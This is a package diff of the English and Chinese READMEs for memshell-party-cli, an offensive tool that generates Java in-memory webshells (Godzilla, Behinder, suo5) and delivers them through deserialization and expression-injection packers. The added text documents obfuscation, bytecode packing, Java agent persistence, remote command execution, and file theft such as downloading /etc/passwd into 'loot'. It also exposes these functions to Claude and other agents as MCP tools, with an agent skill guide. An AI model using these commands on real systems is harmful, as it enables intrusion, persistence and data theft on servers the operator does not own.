memshell-party-cli 0.7.0 → 0.8.1

package/README.en.md

@@ -19,6 +19,7 @@ same HTTP API that powers `party.mem.mk/ui`.
   with auto-saved target names ready to reuse.
 - **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
 - **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
+- **Bytecode tools** — decode, rename, relocate, instrument, obfuscate and pack arbitrary `.class` files.
 - **Connection testing** — `memparty connect` verifies a deployed Godzilla / Behinder / suo5 shell
   is alive and the credentials work (echo/handshake round-trip).
 - **Command execution** — `memparty exec` runs a command on a deployed Godzilla / Behinder shell
@@ -106,12 +107,30 @@ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
   --godzilla-pass pass --godzilla-key key -o shell.class --json
 ```
 
-`--jdk` accepts `java6/8/9/11/17/21`, a bare number (`8`), or a raw class-file major version (`52`).
+`--jdk` accepts `java6/8/9/11/17/21/25`, a bare number (`8`), or a raw class-file major version (`52`).
 
-Note: some packers (e.g. `Base64`) are *aggregate* packers and return several variants at once;
-pick a leaf packer (e.g. `DefaultBase64`, `GzipBase64`) for a single payload — `-o` refuses
-aggregate results with an error telling you to pick a leaf. Combining `-o` with `--json` writes
-the file and adds `outputFile: {destination, size, decoded}` to the JSON document.
+On v3, parent packers (e.g. `Base64`) are categories, not aggregate generators: pick a concrete
+variant such as `DefaultBase64`. Legacy v2 aggregate results are still supported, but `-o` refuses
+multiple variants. Combining `-o` with `--json` writes the file and adds
+`outputFile: {destination, size, decoded}` to the JSON document. v3 also supports `--obfuscate`,
+`--obfuscation-options key=value,...`, and `--obfuscation-scope` (memshell only).
+
+For built-in and external plugin fields not covered by a dedicated flag, repeat
+`--tool-option name=value`, or pass `--tool-config <json|path>`. v3.1 `object` fields take JSON
+objects directly. `--tool-config` can be inline JSON or a file path; `--tool-option` overrides
+matching JSON-file keys and legacy convenience flags:
+
+```bash
+memparty gen -s Tomcat -t PluginTool -y Filter -p DefaultBase64 \
+  --tool-option mode=fast \
+  --tool-option 'target={"id":"web-1","name":"Web"}'
+```
+
+The wizard discovers plugin `string`, `enum`, and `object` parameters from the backend. For
+v3.1 `remote-select` fields, it fetches the supplied HTTP(S) JSON endpoint and submits the
+selected ID for a string field or the complete object for an object field. A sole remote field
+selects its first option automatically. Set the environment variable named by `urlQueryParam`
+to avoid entering the endpoint; generation never fetches it again on the backend.
 
 ### Discovering options
 
@@ -120,13 +139,23 @@ memparty config servers          # servers and their shell types
 memparty config tools Tomcat     # tools + types for one server
 memparty config packers          # packer parent/child tree
 memparty config command          # Command encryptors & implementation classes
+memparty config tool-configs     # v3 tool parameters and enum options
+memparty config obfuscation     # v3 obfuscation option reference
+memparty config plugins         # v3.1 plugin metadata, SPI services and load status
+memparty config remote-options PluginTool target --url https://example.com/options --json
 memparty config servers --json   # machine-readable
 ```
 
+`config tool-configs` describes remote metadata as `ui.kind=remote-select`; `config remote-options`
+returns `{label, value}` choices ready to submit. If `--url` is omitted, it reads the environment
+variable named by the field's `urlQueryParam`. Plugin `validate()` errors are returned unchanged
+by the API; the CLI does not hide or retry them.
+
 ### Probe shells
 
 ```bash
 memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
+memparty probe -m ResponseHeader -c Server -p DefaultBase64 --server Unknown
 memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
 ```
 
@@ -136,7 +165,10 @@ Probe method × content matrix (only these combos are supported by the backend):
 |-------------|-------------------------|
 | `DNSLog` | `Server`, `JDK` |
 | `Sleep` | `Server` |
-| `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
+| `ResponseBody`, `ResponseHeader` | `Server`, `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
+
+`ResponseHeader` is v3+. Use `--resp-header-name` to set the response header; `--server Unknown`
+discovers the middleware and requires `--req-param-name` to identify the live request.
 
 ### Testing a deployed shell
 
@@ -157,7 +189,7 @@ memparty connect -u http://target/suo5.jsp -t suo5
 
 Shells generated by MemShellParty are gated by an auth header — the values are in the
 `gen --json` output as `shellToolConfig.headerName` / `headerValue` and **must** be passed along
-(the Suo5v2 shell checks it too):
+(the Suo5 shell checks it too):
 
 ```bash
 memparty connect -u http://target/x -t godzilla --pass pass --key key \
@@ -167,6 +199,28 @@ memparty connect -u http://target/x -t godzilla --pass pass --key key \
 Other flags: `-H "Name: value"` for extra headers, `-k/--insecure` for self-signed TLS,
 `--json` for machine-readable output, `--timeout <ms>` (global option).
 
+Use `ws://` / `wss://` for Godzilla WebSocket and RawWebSocket shells. Tomcat Upgrade keeps an
+HTTP URL and requires `--upgrade-protocol <fully-qualified-shell-class-name>`; it is saved with
+named targets. Generate `GodzillaSession` with its own tool name, then connect with `-t godzilla`;
+the client relays the HTTP session cookie.
+
+### Agent arguments and bytecode tools
+
+`--agent-args persist=true` and `--agent-args restore=true` are load-time Agent arguments, not
+generation DTO fields. The CLI and MCP return both `java -jar agent.jar <pid> persist=true` and
+`jattach <pid> load instrument false agent.jar=persist=true` examples; use `restore=true` to restore.
+
+```bash
+memparty bytecode decode -f Payload.class
+memparty bytecode transform -f Payload.class \
+  --relocate-from javax.servlet --relocate-to jakarta.servlet -o JakartaPayload.class
+memparty bytecode transform -f Payload.class --server Tomcat \
+  --probe-method ResponseHeader -p DefaultBase64 -o Probe.class --json
+```
+
+Input can also be a Base64 argument or stdin. With no packer, `-o` writes the transformed class;
+otherwise it writes the packed result. The MCP equivalents are `bytecode_decode` and `bytecode_transform`.
+
 ### Executing commands on a deployed shell
 
 `memparty exec` runs a command line through a deployed Godzilla / Behinder shell and prints the
@@ -306,10 +360,10 @@ memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
 
 ```bash
 # Spring SpEL injection -> define + load the shell class (Spring uses Interceptor, not Filter)
-memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
+memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpELScriptEngine \
   --command-param-name cmd --jdk java8
 # OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
-# (SpEL/OGNL/JXPath are *aggregate* packers — they return several variants at once)
+# On v3, SpEL/OGNL/JXPath are categories; choose a concrete child packer.
 ```
 
 ### 6. Drop a JSP file
@@ -373,7 +427,7 @@ Example Claude Code / Claude Desktop config:
 ```
 
 Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
-`generate_memshell`, `generate_probe`, `parse_classname`, `server_version`, `connect_test`,
+`list_shell_tool_configs`, `list_plugins`, `list_remote_options`, `list_obfuscation_options`, `generate_memshell`, `generate_probe`, `bytecode_decode`, `bytecode_transform`, `parse_classname`, `server_version`, `connect_test`,
 `exec_command`, `download_file`, `upload_file`, `target_save`, `target_note`, `target_list`,
 `target_remove`, `log_list`.
 
@@ -382,11 +436,16 @@ optional `outputFile` argument to also write it to a local file (base64 auto-dec
 `.class`/`.jar`/`.zip`/`.ser`/`.bin`), and the response gains an `outputFile` field with the
 write result.
 
+`generate_memshell` also accepts `toolOptions`: a map of arbitrary shell-tool names to string
+values or JSON objects, including v3.1 plugin parameters. `toolOptionJson` is the string-encoded
+alternative for object fields. Use `list_shell_tool_configs` to discover fields and
+`list_remote_options` to resolve remote dropdowns before generation.
+
 ## AI skill
 
 The package ships `skills/memshell-party/SKILL.md` — a workflow guide for agents (server / tool /
 type / packer decision tree, probe matrix, packer-by-scenario guidance, mimic site profiles, and
-common gotchas such as Jakarta vs javax, JDK targeting, aggregate vs leaf packers).
+common gotchas such as Jakarta vs javax, JDK targeting, packer categories vs concrete variants).
 
 Install with the built-in command (re-run after a CLI upgrade to refresh; restart the agent so it
 picks the skill up):

package/README.md

@@ -12,6 +12,7 @@
 |------|------|
 | **生成内存马** | 约 17 种中间件/框架（Tomcat、Jetty、JBoss、WebLogic、SpringWebMvc、Undertow、Resin、Struts2…），9 种工具（哥斯拉、冰蝎、蚁剑、Command、suo5、NeoreGeorg、Proxy、自定义 class），Listener/Filter/Servlet/Agent 等多种挂载方式，60+ 种打包器（Base64、JSP、反序列化链、SpEL/OGNL 表达式注入、AgentJar…） |
 | **盲探测 probe** | 不知道目标是什么中间件时，先用 DNSLog / Sleep / 回显探测服务器类型和 JDK 版本 |
+| **字节码工具** | 解码任意 class，改名、包名替换、添加入口方法、混淆、回显 Wrapper 和打包 |
 | **连马验证 connect** | 用真实协议握手验证马是否存活、密码对不对（哥斯拉/冰蝎/suo5/mimic） |
 | **执行命令 exec** | 在已部署的哥斯拉/冰蝎马上执行命令，自动识别 Windows/Linux |
 | **传文件 upload/download** | 大文件自动分块，传完校验完整性（哥斯拉比大小、冰蝎比 MD5） |
@@ -140,6 +141,7 @@ memparty skill install --user --claude
 |------|--------|
 | `memparty gen` | 生成内存马（不带参数进入交互向导） |
 | `memparty probe` | 生成探测马，盲测目标中间件/JDK |
+| `memparty bytecode` | 解码、转换和打包任意 `.class` |
 | `memparty connect` | 验证马是否存活、凭据对不对 |
 | `memparty exec` | 在马上执行命令 |
 | `memparty upload` / `download` | 通过马上传/下载文件 |
@@ -172,11 +174,29 @@ memparty exec web1 --cmd "whoami"
 memparty download web1 /etc/passwd -o loot/passwd
 ```
 
-生成时的两个细节：
+生成时的几个细节：
 
 - `-o` 和 `--json` 可以同时用：文件照常写盘，JSON 里多一个 `outputFile` 字段（路径、大小、是否解码）。
-- 聚合 packer（如 `Base64`，一次返回多个变体）不能配 `-o`，会报错提示你换成叶子 packer（如 `DefaultBase64`）。
+- v3 中 `Base64` 等父项只是 packer 分类，要选具体变体（如 `DefaultBase64`）；旧 v2 后端仍支持聚合 packer，但不能配 `-o`。
+- v3 支持 `--obfuscate`、`--obfuscation-options key=value,...`、`--obfuscation-scope`（仅内存马）和 `--jdk java25`。
+- v3.1 插件参数可用重复的 `--tool-option name=value` 或 `--tool-config <json|path>` 传入；`object` 类型直接写 JSON 对象。`tool-option` 覆盖同名的旧参数及 `tool-config` 字段。
+- 插件的远程下拉字段可用 `memparty config remote-options <tool> <param> --url <endpoint>` 查询；交互向导会拉取选项，`string` 字段提交 ID，`object` 字段提交完整对象。
+- 探测支持 `-m ResponseHeader`；可用 `--resp-header-name` 指定回显头，未知中间件时 `--server Unknown`。
 - 走 MCP 时，`generate_memshell` / `generate_probe` 有个 `outputFile` 参数，效果同上。
+- Agent 加载参数使用 `--agent-args persist=true` 或 `--agent-args restore=true`；它是 attach 参数，不会发送给生成 API。JSON 和终端会给出 `java -jar agent.jar <pid> persist=true`、`jattach <pid> load instrument false agent.jar=persist=true` 示例。
+- 哥斯拉 WebSocket / RawWebSocket 使用 `ws://` 或 `wss://` 地址；Tomcat Upgrade 使用 HTTP 地址并加 `--upgrade-protocol <shellClassName>`。`GodzillaSession` 生成后仍选 `-t godzilla` 连接，客户端会保留会话 Cookie。
+
+### 字节码转换
+
+```bash
+memparty bytecode decode -f Payload.class
+memparty bytecode transform -f Payload.class \
+  --relocate-from javax.servlet --relocate-to jakarta.servlet -o JakartaPayload.class
+memparty bytecode transform -f Payload.class --server Tomcat \
+  --probe-method ResponseHeader -p DefaultBase64 -o Probe.class --json
+```
+
+也支持 Base64 参数或标准输入。`-o` 在没有 packer 时写转换后的 class；有 packer 时写打包结果。MCP 对应 `bytecode_decode` / `bytecode_transform`。
 
 拿不准有哪些合法取值，直接问后端（这些名字就是参数里要填的值）：
 
@@ -184,8 +204,22 @@ memparty download web1 /etc/passwd -o loot/passwd
 memparty config servers          # 支持哪些中间件
 memparty config tools Tomcat     # 这个中间件支持哪些工具和挂载类型
 memparty config packers          # 打包器列表（按投放方式选）
+memparty config tool-configs     # v3 各工具的参数名和枚举值
+memparty config obfuscation     # v3 混淆参数参考
+memparty config plugins         # v3.1 外置插件、SPI 和加载状态
+memparty config remote-options PluginTool target --url https://example.com/options --json
 ```
 
+插件生成示例：
+
+```bash
+memparty gen -s Tomcat -t PluginTool -y Filter -p DefaultBase64 \
+  --tool-option mode=fast \
+  --tool-option 'target={"id":"web-1","name":"Web"}'
+```
+
+`config tool-configs` 的 `ui.kind=remote-select` 表示远程字段，`urlQueryParam` 是同名的环境变量名；没有 `--url` 时会读这个环境变量。后端参数校验错误会原样返回，不会被 CLI 自动重试。
+
 每个命令都能加 `--help` 看详细参数和例子；完整参数参考见 [英文 README](README.en.md)。
 
 ## 后端：真实测试建议自建